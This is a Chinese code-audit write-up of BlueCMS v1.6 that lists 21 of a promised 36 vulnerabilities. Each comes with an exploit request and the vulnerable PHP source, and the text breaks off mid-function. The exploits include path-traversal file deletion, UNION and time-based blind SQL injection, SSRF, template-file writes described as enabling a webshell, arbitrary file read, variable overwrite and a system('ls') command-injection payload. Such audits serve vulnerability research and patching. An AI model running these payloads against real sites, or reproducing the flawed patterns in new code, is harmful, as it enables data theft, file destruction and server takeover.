代码审计：Bluecms v1.6

代码审计：Bluecms v1.6

漏洞列表如下(共计36个漏洞，附Exp，按时间顺序)：
未完待续…

1、user.php 766行处存在任意文件删除漏洞

Exp:``http://127.0.0.3/bluecms/user.php?act=edit_user_info Post：face_pic3=2.php`

elseif($act == 'edit_user_info'){
	 $user_id = intval($_SESSION['user_id']);
	 if(empty($user_id)){
		 return false;
	 }
	$birthday = trim($_POST['birthday']);
	$sex = intval($_POST['sex']);
    $email = !empty($_POST['email']) ? trim($_POST['email']) : '';
    $msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
    $qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
    $mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
    $office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
    $home_phone   = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
	$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';

	if (!empty($_POST['face_pic1'])){
        if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
           showmsg('只支持本站相对路径地址');
         }
        else{
           $face_pic = trim($_POST['face_pic1']);
        }
    }else{
		if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
			@unlink(BLUE_ROOT.$_POST['face_pic3']);
		}
	}

	if(isset($_FILES['face_pic2']['error']) && $_FILES['face_pic2']['error'] == 0){
		$face_pic = $image->img_upload($_FILES['face_pic2'],'face_pic');
	}
    $face_pic = empty($face_pic) ? '' : $face_pic;

	$sql = "UPDATE ".table('user')." SET birthday = '$birthday', sex = '$sex', face_pic = '$face_pic', email = '$email', msn = '$msn', qq = '$qq'," .
			" mobile_phone = '$mobile_phone', office_phone = '$office_phone', home_phone = '$home_phone', address='$address' WHERE user_id = ".intval($_SESSION['user_id']);
	$db->query($sql);
	showmsg('更新个人资料成功', 'user.php');
 }

2、ad_js.php 19行处存在sql注入漏洞

Exp:view-source:http://127.0.0.3/bluecms/ad_js.php?ad_id=12%20+UNION%20+SELECT+1,2,3,4,5,6,database()

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
if($ad['time_set'] == 0)
{
	$ad_content = $ad['content'];
}
else
{
	if($ad['end_time'] < time())
	{
		$ad_content = $ad['exp_content'];
	}
	else
	{
		$ad_content = $ad['content'];
	}
}
$ad_content = str_replace('"', '\"',$ad_content);
$ad_content = str_replace("\r", "\\r",$ad_content);
$ad_content = str_replace("\n", "\\n",$ad_content);
echo "\r\n";

3、include/common.fun.php->getip()存在ip伪造漏洞

function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{ //获取客户端用代理服务器访问时的真实ip 地址
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	elseif (getenv('HTTP_X_FORWARDED')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED');
	}
	elseif (getenv('HTTP_FORWARDED_FOR'))
	{
		$ip = getenv('HTTP_FORWARDED_FOR'); 
	}
	elseif (getenv('HTTP_FORWARDED'))
	{
		$ip = getenv('HTTP_FORWARDED');
	}
	else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}

4、user.php 955行处存在任意文件删除漏洞

Exp:``http://127.0.0.3/bluecms/user.php?act=del_pic Post：id=2.php`

elseif($act == 'del_pic'){

 	$id = $_REQUEST['id'];
 	$db->query("DELETE FROM ".table('company_image')." WHERE path='$id'");
 	if(file_exists(BLUE_ROOT.$id)){
 		@unlink(BLUE_ROOT.$id);
 	}
 }

5、user.php 476行处存在任意文件删除漏洞

Exp:http://127.0.0.3/bluecms/user.php?act=do_info_edit Post提交post_id=1&title=1&content=1&cat_id=1&area=1&useful_time=1&is_recommend1=1&top_type=1&is_head_line=1&link_man=1&link_phone=1&att1=1&att2=1&top_type1=1&is_head_line1=1&lit_pic=1.php

elseif($act == 'do_info_edit'){
	 $post_id = intval($_REQUEST['post_id']);
	 if(empty($post_id)){
		 return false;
	 }
 	$must_att_arr = array();
 	$nomust_att_arr = array();
 	$title = !empty($_POST['title']) ? trim($_POST['title']) : '';
 	if($title == ''){
 		showmsg('信息标题不能为空');
 	}
 	$cat_id = !empty($_POST['cat_id']) ? trim($_POST['cat_id']) : '';
 	$area = !empty($_POST['area']) ? intval($_POST['area']) : '';
 	$useful_time = intval($_POST['useful_time']);
 	$content = !empty($_POST['content']) ? trim($_POST['content']) : '';
 	if(!empty($content)){
		$content = str_replace(' ', ' ', str_replace(array("\r\n", "\r", "\n"), "
", $content));
	}
 	
 	$is_recommend	= !empty($_POST['is_recommend']) ? intval($_POST['is_recommend']) : 0;
 	if($_POST['is_recommend1'] == 0){
	 	if($is_recommend == 1){
			$confirm_rec = 1;
	 		$rec_start	= $timestamp;
	 		$rec_time	= $_POST['rec_time'];
	 		if(!preg_match('/^[1-9][0-9]*$/', $rec_time)){
	 			showmsg('推荐时间格式出错');
	 		}
	 		$condition	= " ,rec_start='$rec_start', rec_time='$rec_time' ";
	 	} else {
	 		$rec_time	= 0;
	 		$condition	= '';
	 	}
 	} else {
 		$rec_time	= 0;
 		$condition	= '';
 	}
 	$top_type		= intval($_POST['top_type']);
 	if($_POST['top_type1'] == 0){
 		if($top_type != 0){
			$confirm_top = 1;
 			$top_start	= $timestamp;
 			$top_time	= $_POST['top_time'];
 			if(!preg_match('/^[1-9][0-9]*$/', $top_time)){
	 			showmsg('置顶时间格式出错');
	 		}
 			$condition	.= ",top_start='$top_start', top_time='$top_time' ";
 		} else {
 			$top_time	= 0;
 			$condition .= '';
 		}
 	} else {
 		$top_time	= 0;
 		$condition	.= '';
 	}
	$is_head_line = intval($_POST['is_head_line']);
	if($_POST['is_head_line1'] == 0){
	 	if($is_head_line == 1){
			$confirm_head = 1;
	 		$head_line_start	= $timestamp;
	 		$head_line_time	= $_POST['head_line_time'];
	 		if(!preg_match('/^[1-9][0-9]*$/', $head_line_time)){
	 			showmsg('推荐时间格式出错');
	 		}
	 		$condition	.= " ,head_line_start='$head_line_start', head_line_time='$head_line_time' ";
	 	} else {
	 		$head_line_time	= 0;
	 		$condition	.= '';
	 	}
 	} else {
 		$head_line_time	= 0;
 		$condition	.= '';
 	}

 	$link_man = !empty($_POST['link_man']) ? trim($_POST['link_man']) : '';
 	$link_phone = !empty($_POST['link_phone']) ? trim($_POST['link_phone']) : 0;
 	$link_email = !empty($_POST['link_email']) ? trim($_POST['link_email']) : '';
 	$link_qq = !empty($_POST['link_qq']) ? trim($_POST['link_qq']) : 0;
 	$link_address = !empty($_POST['link_address']) ? trim($_POST['link_address']) : '';
	
 	if($link_man==''){
 		showmsg('联系人姓名不能为空');
 	}
 	if($link_phone==''){
 		showmsg('为了体现信息真实，联系电话不要为空');
 	}
 	$must_att_arr = get_att($model_id, $_POST['att1'], 'must_att');
 	$nomust_att_arr = get_att($model_id, $_POST['att2']);
 	
 	//交易过程
 	$rec_service = $db->getone("SELECT id, price FROM ".table('service')." WHERE type='info' and service='rec'");
	if($top_type == 1){
		$service = 'top1';
	} else {
		$service = 'top2';
	}
 	$top_service = $db->getone("SELECT id, price FROM ".table('service')." WHERE type='info' and service='$service'");

	$head_line_service = $db->getone("SELECT id, price FROM ".table('service')." WHERE type='info' and service='head_line'");
	$money = $_SESSION['money'] - $rec_service['price'] * $rec_time - $top_service['price'] * $top_time - $head_line_service['price'] * $head_line_time;
	if ($money < 0){
		showmsg('对不起，您的余额不足，请充值');
	}
	if	($confirm_rec == 1) {
		$db->query("INSERT INTO ".table('buy_record')." (id, user_id, aid, pid, exp, time) 
		VALUES ('', '$_SESSION[user_id]', '$post_id', '$rec_service[id]', '$rec_time', '$timestamp'");
	}
	if ($confirm_top == 1) {
		$db->query("INSERT INTO ".table('buy_record')." (id, user_id, aid, pid, exp, time)
		VALUES ('', '$_SESSION[user_id]', '$post_id', '$top_service[id]', '$top_time', '$timestamp'");
	}
	if ($confirm_head == 1) {
		$db->query("INSERT INTO ".table('buy_record')." (id, user_id, aid, pid, exp, time)
		VALUES ('', '$_SESSION[user_id]', '$post_id', '$top_service[id]', '$head_line_time', '$timestamp'");
	}
	//从用户账户扣除花费金币
	$db->query("UPDATE ".table('user')." SET money='$money' WHERE user_id=$_SESSION[user_id]");
 	
	//更新post表SQL语句
 	$sql = "UPDATE ".table('post')." SET cat_id='$cat_id', area_id='$area', title='$title', 
 	keywords='$keywords', content='$content', link_man='$link_man', link_phone='$link_phone', 
 	is_recommend='$is_recommend', top_type='$top_type', is_head_line='$is_head_line' ".$condition.", link_email='$link_email', 
 	link_qq='$link_qq', link_address='$link_address', useful_time='$useful_time' WHERE post_id=".$post_id;
 	$db->query($sql);
 	
 	//插入新属性
 	$db->query("DELETE FROM ".table('post_att')." WHERE post_id =".$post_id);
 	insert_att_value($must_att_arr, $post_id);
 	insert_att_value($nomust_att_arr, $post_id);
 	
 	//插入新图片
	$db->query("DELETE FROM ".table('post_pic')." WHERE post_id = ".$post_id);
 	for($i=0;$i<4;$i++){
 		if($_POST['pic'.$i] && file_exists(BLUE_ROOT.$_POST['pic'.$i])){
 			$sql = "INSERT INTO ".table('post_pic')." (pic_id, post_id, pic_path) VALUES ('', '$post_id', '".$_POST['pic'.$i]."')";
 			$db->query($sql);
 		}
 	}
	//如果没有图片，则将信息缩略图设置为默认图片
	if (file_exists(BLUE_ROOT.$_POST['lit_pic'])) {
		@unlink(BLUE_ROOT.$_POST['lit_pic']);
	}
	if($_POST['pic0']){
		
		$lit_pic = $image->small_img($_POST['pic0'], 126, 80);
		$db->query("UPDATE ".table('post')." SET lit_pic='$lit_pic' WHERE post_id='$post_id'");
	}else{
		$db->query("UPDATE ".table('post')." SET lit_pic='' WHERE post_id='$post_id'");
	}
	
 	showmsg('编辑信息成功', 'user.php?act=manage');
 }

6、admin/article.php 132行处存在后台sql注入漏洞

Exp:http://127.0.0.3/bluecms/admin/article.php?act=del&id=1 and if(length(select database())=7,1,sleep(10)) 时间盲注

elseif($act == 'del'){
	$article = $db->getone("SELECT cid, lit_pic FROM ".table('article')." WHERE id=".$_GET['id']);
 	$sql = "DELETE FROM ".table('article')." WHERE id=".intval($_GET['id']);
 	$db->query($sql);
 	if (file_exists(BLUE_ROOT.$article['lit_pic'])) {
 		@unlink(BLUE_ROOT.$article['list_pic']);
 	}
 	showmsg('删除本地新闻成功', 'article.php?cid='.$article['cid']);
 }

7、admin/article.php 85行处存在任意文件删除漏洞

Exp:article.html如下：

DOCTYPE html>
<html>
<head>
    <title>Form with File Upload and Additional Parameterstitle>
head>
<body>
<form action="http://127.0.0.3/bluecms/admin/article.php?act=do_edit" method="post" enctype="multipart/form-data">
    <input type="hidden" name="title" value="1">
    <input type="hidden" name="color" value="1">
    <input type="hidden" name="cid" value="1">
    <input type="hidden" name="author" value="admin">
    <input type="hidden" name="source" value="1">
    <input type="hidden" name="is_recommend" value="1">
    <input type="hidden" name="is_check" value="1">

    <label for="lit_pic1">要删除的文件名：label>
    <input type="text" id="lit_pic1" name="lit_pic1"><br><br>

    <label for="lit_pic2">Upload Picture 2:label>
    <input type="file" id="lit_pic2" name="lit_pic2"><br><br>

    <input type="submit" value="Submit">
form>
body>
html>

elseif($act == 'do_edit'){
 	$title = !empty($_POST['title']) ? trim($_POST['title']) : '';
 	$color = !empty($_POST['color']) ? trim($_POST['color']) : '';
 	$cid = !empty($_POST['cid']) ? intval($_POST['cid']) : '';
 	if(empty($cid)){
 		showmsg('新闻分类不能为空');
 	}
 	$author = !empty($_POST['author']) ? trim($_POST['author']) : $_SESSION['admin_name'];
 	$source = !empty($_POST['source']) ? trim($_POST['source']) : '';
 	$is_recommend = intval($_POST['is_recommend']);
 	$is_check = intval($_POST['is_check']);

 	if((!empty($_POST['lit_pic1']) && !empty($_FILES['lit_pic2']['name'])) || !empty($_FILES['lit_pic2']['name']))
	{
		if (file_exists(BLUE_ROOT . $_POST['lit_pic1']))
		{
			@unlink(BLUE_ROOT . $_POST['lit_pic1']);
		}
 		if($_FILES['lit_pic2']['error'] == 0)
		{
			$lit_pic = $image->img_upload($_FILES['lit_pic2'],'lit_pic');
		}
	    $lit_pic = empty($lit_pic) ? '' : $lit_pic;
		if(!empty($lit_pic)){
			$lit_pic = $image->small_img($lit_pic, 200, 115);
	    }
 	}else{
 		$lit_pic = !empty($_POST['lit_pic1']) ? $_POST['lit_pic1'] :'';
 	}
 	$content = !empty($_POST['content']) ? trim($_POST['content']) : '';
	$descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 250) : mb_substr(html2text($_POST['content']),0, 250);

 	if($title == ''){
 		showmsg('新闻标题不能为空');
 	}
 	if($content == ''){
 		showmsg('新闻内容不能为空');
 	}

 	$sql = "UPDATE ".table('article')." SET cid='$cid', title='$title', color='$color', author='$author', 
 	source='$source', lit_pic='$lit_pic', descript='$descript', content='$content', 
 	is_recommend='$is_recommend', is_check='$is_check' WHERE id=".intval($_POST['id']);
 	$db->query(($sql));
 	showmsg('编辑新闻成功', 'article.php?cid='.$cid);
 }

8、admin/attachment.php 78行处存在后台sql注入漏洞

Exp:http://127.0.0.3/bluecms/admin/attachment.php?act=del&att_id=1 and if(length(select database())=7,1,sleep(10)) 时间盲注

 elseif($_REQUEST['act'] == 'del')
 {
 	$sql = "DELETE FROM ".table('attachment')." WHERE att_id = ".$_GET['att_id'];
 	if(!$db->query($sql)){
 		showmsg('删除附加属性出错', true);
 	}
 	showmsg('删除附加属性成功','attachment.php', true);
 }

9、admin/database.php 208行处存在任意文件删除漏洞

Exp:http://127.0.0.3/bluecms/admin/article.php?act=del&file_name=../1.php

elseif($act == 'del')
{
 	$file_name = !empty($_GET['file_name']) ? trim($_GET['file_name']) : '';
	$file = BLUE_ROOT.DATA."backup/".$file_name;
	if(!@unlink($file))
	{
		showmsg('删除备份文件失败');
	}
	else
	{
		showmsg('删除备份文件成功', 'database.php?act=restore');
	}
 }

10、admin/flash.php 47行处存在任意文件删除漏洞

Exp:http://127.0.0.3/bluecms/admin/flash.php?act=do_edit Post：image_id=1&image_path2=../1.php

elseif($act == 'do_edit'){
	 if(empty($_POST['image_id'])){
		return false;
	}
 	$image_link = !empty($_POST['image_link']) ? trim($_POST['image_link']) : '';
 	$show_order = !empty($_POST['show_order']) ? intval($_POST['show_order']) : '';
	$image_path = !empty($_POST['image_path']) ? trim($_POST['image_path']) : '';
	if (!empty($_POST['image_path'])){
        if (strpos($_POST['image_path'], 'http://') != false && strpos($_POST['image_path'], 'https://') != false){
           showmsg('只支持本站相对路径地址');
         }
        else{
           $link_logo = trim($_POST['image_path']);
        }
    }else{
		if(file_exists(BLUE_ROOT.$_POST['image_path2'])){
			@unlink(BLUE_ROOT.$_POST['image_path2']);
		}
	}

 	if(isset($_FILES['image_path1']['error']) && $_FILES['image_path1']['error'] == 0){
		$image_path = $image->img_upload($_FILES['image_path1'],'flash');
		
	}

    $image_path = empty($image_path) ? '' : $image_path;
    if(!$db->query("UPDATE ".table('flash_image')." SET image_path='$image_path', image_link='$image_link', show_order='$show_order' WHERE image_id=".intval($_POST['image_id']))){
    	showmsg('更新flash图片出错', true);
    }else{
    	showmsg('更新flash图片成功', 'flash.php', true);
    }
 }
elseif($act == 'del'){
	if(empty($_GET['image_id'])){
		return false;
	}
	$flash = $db->getone("SELECT image_path FROM ".table('flash_image')." WHERE image_id =".intval($_GET['image_id']));
	if(file_exists(BLUE_ROOT.$flash['image_path'])){
		@unlink(BLUE_ROOT.$flash['image_path']);
	}
	if(!$db->query("DELETE FROM ".table('flash_image')." WHERE image_id = ".intval($_GET['image_id']))){
  		showmsg('删除Flash图片出错', true);
  	}else{
  		showmsg('删除Flash图片成功！','flash.php', true);
  	}
}

11、admin/flash.php 47行处存在SSRF漏洞

Exp:http://127.0.0.3/bluecms/admin/flash.php?act=do_edit Post：image_id=1&image_path=http://网站 触发：点击flash链接（逻辑漏洞，strpos($_POST['image_path'], 'http://') != false，strpos返回的是位置，如果'http://'在首位，返回0.而0不等于false，从而绕过判断）

elseif($act == 'do_edit'){
	 if(empty($_POST['image_id'])){
		return false;
	}
 	$image_link = !empty($_POST['image_link']) ? trim($_POST['image_link']) : '';
 	$show_order = !empty($_POST['show_order']) ? intval($_POST['show_order']) : '';
	$image_path = !empty($_POST['image_path']) ? trim($_POST['image_path']) : '';
	if (!empty($_POST['image_path'])){
        if (strpos($_POST['image_path'], 'http://') != false && strpos($_POST['image_path'], 'https://') != false){
           showmsg('只支持本站相对路径地址');
         }
        else{
           $link_logo = trim($_POST['image_path']);
        }
    }else{
		if(file_exists(BLUE_ROOT.$_POST['image_path2'])){
			@unlink(BLUE_ROOT.$_POST['image_path2']);
		}
	}

 	if(isset($_FILES['image_path1']['error']) && $_FILES['image_path1']['error'] == 0){
		$image_path = $image->img_upload($_FILES['image_path1'],'flash');
		
	}

    $image_path = empty($image_path) ? '' : $image_path;
    if(!$db->query("UPDATE ".table('flash_image')." SET image_path='$image_path', image_link='$image_link', show_order='$show_order' WHERE image_id=".intval($_POST['image_id']))){
    	showmsg('更新flash图片出错', true);
    }else{
    	showmsg('更新flash图片成功', 'flash.php', true);
    }
 }
elseif($act == 'del'){
	if(empty($_GET['image_id'])){
		return false;
	}
	$flash = $db->getone("SELECT image_path FROM ".table('flash_image')." WHERE image_id =".intval($_GET['image_id']));
	if(file_exists(BLUE_ROOT.$flash['image_path'])){
		@unlink(BLUE_ROOT.$flash['image_path']);
	}
	if(!$db->query("DELETE FROM ".table('flash_image')." WHERE image_id = ".intval($_GET['image_id']))){
  		showmsg('删除Flash图片出错', true);
  	}else{
  		showmsg('删除Flash图片成功！','flash.php', true);
  	}
}

12、admin/link.php 50行处存在SSRF漏洞

Exp:http://127.0.0.3/bluecms/admin/link.php?act=do_edit Post：link_logo=http://网站 触发：点击网站上导航链接

 elseif($act == 'do_edit'){
 	$link_name = !empty($_POST['link_name']) ? trim($_POST['link_name']) : '';
 	$link_site = !empty($_POST['link_site']) ? trim($_POST['link_site']) : '';
 	$show_order = !empty($_POST['show_order']) ? intval($_POST['show_order']) : 0;
	
	if (!empty($_POST['link_logo'])){
        if (strpos($_POST['link_logo'], 'http://') != false && strpos($_POST['link_logo'], 'https://') != false){
           showmsg('只支持本站相对路径地址');
         }
        else{
           $link_logo = trim($_POST['link_logo']);
        }
    }else{
		if(file_exists(BLUE_ROOT.$_POST['link_logo2'])){
			@unlink(BLUE_ROOT.$_POST['link_logo2']);
		}
	}

	if(isset($_FILES['link_logo1']['error']) && $_FILES['link_logo1']['error'] == 0){
		$link_logo = $image->img_upload($_FILES['link_logo1'],'linklogo');
	}
    $link_logo = empty($link_logo) ? '' : $link_logo;
	$sql = "UPDATE ".table('link')." SET linkname = '$link_name', linksite = '$link_site', linklogo = '$link_logo', showorder = '$show_order' WHERE linkid=".intval($_REQUEST['linkid']);
	if(!$db->query($sql)){
		showmsg('编辑链接失败');
	}else{
		showmsg('编辑链接成功','link.php');
	}
 }

13、admin/link.php 50行处存在任意文件删除漏洞

Exp:http://127.0.0.3/bluecms/admin/link.php?act=do_edit Post：link_logo2=../1.php

 elseif($act == 'do_edit'){
 	$link_name = !empty($_POST['link_name']) ? trim($_POST['link_name']) : '';
 	$link_site = !empty($_POST['link_site']) ? trim($_POST['link_site']) : '';
 	$show_order = !empty($_POST['show_order']) ? intval($_POST['show_order']) : 0;
	
	if (!empty($_POST['link_logo'])){
        if (strpos($_POST['link_logo'], 'http://') != false && strpos($_POST['link_logo'], 'https://') != false){
           showmsg('只支持本站相对路径地址');
         }
        else{
           $link_logo = trim($_POST['link_logo']);
        }
    }else{
		if(file_exists(BLUE_ROOT.$_POST['link_logo2'])){
			@unlink(BLUE_ROOT.$_POST['link_logo2']);
		}
	}

	if(isset($_FILES['link_logo1']['error']) && $_FILES['link_logo1']['error'] == 0){
		$link_logo = $image->img_upload($_FILES['link_logo1'],'linklogo');
	}
    $link_logo = empty($link_logo) ? '' : $link_logo;
	$sql = "UPDATE ".table('link')." SET linkname = '$link_name', linksite = '$link_site', linklogo = '$link_logo', showorder = '$show_order' WHERE linkid=".intval($_REQUEST['linkid']);
	if(!$db->query($sql)){
		showmsg('编辑链接失败');
	}else{
		showmsg('编辑链接成功','link.php');
	}
 }

14、admin/info.php 281行处存在任意文件删除漏洞

Exp:http://127.0.0.3/bluecms/admin/info.php?act=do_edit Post：post_id=1&title=1&content=1&cat_id=1&area=1&useful_time=1&is_recommend1=1&top_type=1&is_head_line=1&link_man=1&link_phone=1&att1=1&att2=1&top_type1=1&is_head_line1=1&lit_pic=1.php

elseif($act == 'do_edit')
{
	$must_att_arr = array();
 	$nomust_att_arr = array();
 	$title = !empty($_POST['title']) ? trim($_POST['title']) : '';
 	$cat_id = !empty($_POST['cat_id']) ? trim($_POST['cat_id']) : '';
 	$area = !empty($_POST['area']) ? intval($_POST['area']) : '';
 	$useful_time = intval($_POST['useful_time']);
 	$content = !empty($_POST['content']) ? trim($_POST['content']) : '';
	if(!empty($content))
	{
		$content = str_replace(' ', ' ', str_replace(array("\r\n", "\r", "\n"), "
", $content));
	}
	$is_check		= !empty($_POST['is_check']) ? intval($_POST['is_check']) : 0;
 	$is_recommend	= !empty($_POST['is_recommend']) ? intval($_POST['is_recommend']) : 0;
 	if($_POST['is_recommend1'] == 0)
 	{
	 	if ($is_recommend == 1)
	 	{
	 		$rec_start	= $timestamp;
	 		$rec_time	= $_POST['rec_time'];
			if(!preg_match('/^[1-9][0-9]*$/', $rec_time))
			{
	 			showmsg('推荐时间格式出错');
	 		}
	 		$condition	= " ,rec_start='$rec_start', rec_time='$rec_time' ";
	 	}
	 	else
	 	{
	 		$rec_time	= '';
	 		$condition	= '';
	 	}
	}
	else
	{
 		$rec_time = '';
		if ($is_recommend == 0)
		{
 			$condition = " ,rec_start='', rec_time='' ";
		}
		else
		{
			$condition = '';
		}
 	}
 	$top_type = !empty($_POST['top_type']) ? intval($_POST['top_type']) : 0;
 	if ($_POST['top_type1'] == 0)
 	{
 		if ($top_type != 0)
 		{
 			$top_start	= $timestamp;
 			$top_time	= $_POST['top_time'];
			if(!preg_match('/^[1-9][0-9]*$/', $top_time))
			{
	 			showmsg('置顶时间格式出错');
	 		}
 			$condition	.= ",top_start='$top_start', top_time='$top_time' ";
 		}
 		else
 		{
 			$top_time	= '';
 			$condition .= '';
 		}
 	}
 	else
 	{
 		$top_time	= '';
 		if ($top_type == 0)
 		{
 			$condition = " ,top_start='', top_time='' ";
 		}
 		else
 		{
 			$condition = '';
 		}
 	}
	$is_head_line = intval($_POST['is_head_line']);
	if($_POST['is_head_line1'] == 0)
	{
	 	if($is_head_line == 1)
	 	{
			$confirm_head = 1;
	 		$head_line_start	= $timestamp;
	 		$head_line_time	= $_POST['head_line_time'];
	 		if(!preg_match('/^[1-9][0-9]*$/', $head_line_time))
	 		{
	 			showmsg('头条时间格式出错');
	 		}
	 		$condition	.= " ,head_line_start='$head_line_start', head_line_time='$head_line_time' ";
	 	}
	 	else
	 	{
	 		$head_line_time	= 0;
	 		$condition	.= '';
	 	}
 	}
 	else
 	{
 		$head_line_time	= 0;
 		$condition	.= '';
 	}

 	$link_man = !empty($_POST['link_man']) ? trim($_POST['link_man']) : '';
 	$link_phone = !empty($_POST['link_phone']) ? trim($_POST['link_phone']) : 0;
 	$link_email = !empty($_POST['link_email']) ? trim($_POST['link_email']) : '';
 	$link_qq = !empty($_POST['link_qq']) ? trim($_POST['link_qq']) : 0;
 	$link_address = !empty($_POST['link_address']) ? trim($_POST['link_address']) : '';

 	if($title == '')
 	{
 		showmsg('信息标题不能为空');
 	}
 	
 	if($top_type==0 && $top_time > 0)
 	{
 		showmsg('只有在开启置顶功能时，才能设置置顶时间');
 	}

 	if($link_man=='')
 	{
 		showmsg('联系人姓名不能为空');
 	}
 	if($link_phone=='')
 	{
 		showmsg('为了体现信息真实，联系电话不要为空');
 	}
 	$must_att_arr = get_att($model_id, $_POST['att1'], 'must_att');
 	$nomust_att_arr = get_att($model_id, $_POST['att2']);
 	
 	$sql = "UPDATE ".table('post')." 
 				SET cat_id='$cat_id', area_id='$area', title='$title', keywords='$keywords', 
 					content='$content', link_man='$link_man', link_phone='$link_phone', 
 					link_email='$link_email', link_qq='$link_qq', link_address='$link_address', 
 					useful_time='$useful_time', is_check='$is_check', is_recommend='$is_recommend' ".
 					$condition.", top_type='$top_type', is_head_line='$is_head_line' 
 	 			WHERE post_id=".intval($post_id);
 	$db->query($sql);
 	
 	$db->query("DELETE FROM ".table('post_att')." WHERE post_id =".intval($post_id));
 	insert_att_value($must_att_arr, $post_id);
 	insert_att_value($nomust_att_arr, $post_id);
	$db->query("DELETE FROM ".table('post_pic')." WHERE post_id=".intval($post_id));
 	for($i=0;$i<4;$i++)
 	{
 		if($_POST['pic'.$i] && file_exists(BLUE_ROOT.$_POST['pic'.$i]))
 		{
 			$sql = "INSERT INTO ".table('post_pic')." (pic_id, post_id, pic_path) VALUES ('', '$post_id', '".$_POST['pic'.$i]."')";
 			$db->query($sql);
 		}
 	}
	if (file_exists(BLUE_ROOT.$_POST['lit_pic']))
	{
		@unlink(BLUE_ROOT.$_POST['lit_pic']);
	}
	if($_POST['pic0'])
	{
		include_once(BLUE_ROOT."include/upload.class.php");
		$image = new upload();
		$lit_pic = $image->small_img($_POST['pic0'],126, 80);
		$db->query("UPDATE ".table('post')." SET lit_pic='$lit_pic' WHERE post_id='$post_id'");
	}
	else
	{
		$db->query("UPDATE ".table('post')." SET lit_pic='' WHERE post_id='$post_id'");
	}
 	showmsg('编辑信息成功', 'info.php?cid='.get_parentid($cat_id));
}

15、admin/info.php 526行处存在任意文件删除漏洞

Exp:http://127.0.0.3/bluecms/admin/info.php?act=del_pic Post：id=../1.php

elseif($act == 'del_pic')
{
 	$id = $_REQUEST['id'];
 	$db->query("DELETE FROM ".table('post_pic')." WHERE pic_path='$id'");
 	if(file_exists(BLUE_ROOT.$id))
 	{
 		@unlink(BLUE_ROOT.$id);
 	}
}

16、admin/link.php 79行处存在任意文件删除漏洞

Exp:http://127.0.0.3/bluecms/admin/link.php?act=del&linkid=1 Post：link_logo=../1.php

elseif($act == 'del'){
	if(empty($_GET['linkid'])){
		return false;
	}
	$link = $db->getone("SELECT linklogo FROM ".table('link')." WHERE linkid=".intval($_GET['linkid']));
	if(file_exists(BLUE_ROOT.$link['linklogo'])){
		@unlink(BLUE_ROOT.$link['linklogo']);
	}
 	$sql = "DELETE FROM ".table('link')." WHERE linkid=".intval($_GET['linkid']);
 	if(!$db->query($sql)){
 		showmsg('删除友情链接失败');
 	}else{
 		showmsg('删除友情链接成功','link.php');
 	}
 }

17、admin/nav.php 63行存在后台sql注入漏洞

Exp:http://127.0.0.3/bluecms/admin/nav.php?act=edit&navid=1 union select 1,2,3,4,user(),6 limit 1,1

elseif($act=='edit')
 {
 	$sql = "select * from ".table('navigate')." where navid = ".$_GET['navid'];
 	$nav = $db->getone($sql);
 	$smarty->assign('nav',$nav);
 	$smarty->assign('act', $act	);
 	$smarty->display('nav_info.htm');
 }

18、admin/tpl_manage.php 47行处存在任意文件写入漏洞,可写入webshell _

_Exp:http://127.0.0.3/bluecms/admin/tpl_manage.php?act=do_edit Post：tpl_name=../../index.php&tpl_content=

 elseif($act == 'do_edit'){
 	$tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';
 	$tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';
 	if(empty($tpl_name)){
 		return false;
 	}
 	$tpl = BLUE_ROOT.'templates/default/'.$tpl_name;
 	if(!$handle = @fopen($tpl, 'wb')){
		showmsg("打开目标模版文件 $tpl 失败");
 	}
 	if(fwrite($handle, $tpl_content) === false){
 		showmsg('写入目标 $tpl 失败');
 	}
 	fclose($handle);
 	showmsg('编辑模板成功', 'tpl_manage.php');
 }

19、admin/tpl_manage.php 35行处存在任意文件读取漏洞

Exp:http://127.0.0.3/bluecms/admin/tpl_manage.php?act=edit&tpl_name=../../1.txt

elseif($act == 'edit'){
	$file = $_GET['tpl_name'];
	if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
		showmsg('打开目标模板文件失败');
	}
	$tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
	$tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
	fclose($handle);
	$tpl['name'] = $file;
	template_assign(array('current_act', 'tpl'), array('编辑模板', $tpl));
	$smarty->display('tpl_info.htm');
 }

20、include/filter.inc.php 11行处存在变量覆盖漏洞（影响user.php)

Exp:http://127.0.0.3/bluecms/user.php?{变量名}={变量值}

foreach (array($_GET, $_POST) as $v)
{
	foreach ($v as $k1 => $v1)
	{
		$$k1 = filter($k1, $v1);
	}
}

21、uc_client/lib/uccode.class.php 38行处存在命令执行漏洞

Exp:$message = "[[email protected]]Hello; system('ls'); [/email]";

	function complie($message) {
		$message = htmlspecialchars($message);
		if(strpos($message, '[/code]') !== FALSE) {
			$message = preg_replace("/\s*\[code\](.+?)\[\/code\]\s*/ies", "\$this->codedisp('\\1')", $message);
		}
		if(strpos($message, '[/url]') !== FALSE) {
			$message = preg_replace("/\[url(=((https?|ftp|gopher|news|telnet|rtsp|mms|callto|bctp|ed2k|thunder|synacast){1}:\/\/|www\.)([^\[\"']+?))?\](.+?)\[\/url\]/ies", "\$this->parseurl('\\1', '\\5')", $message);
		}
		if(strpos($message, '[/email]') !== FALSE) {
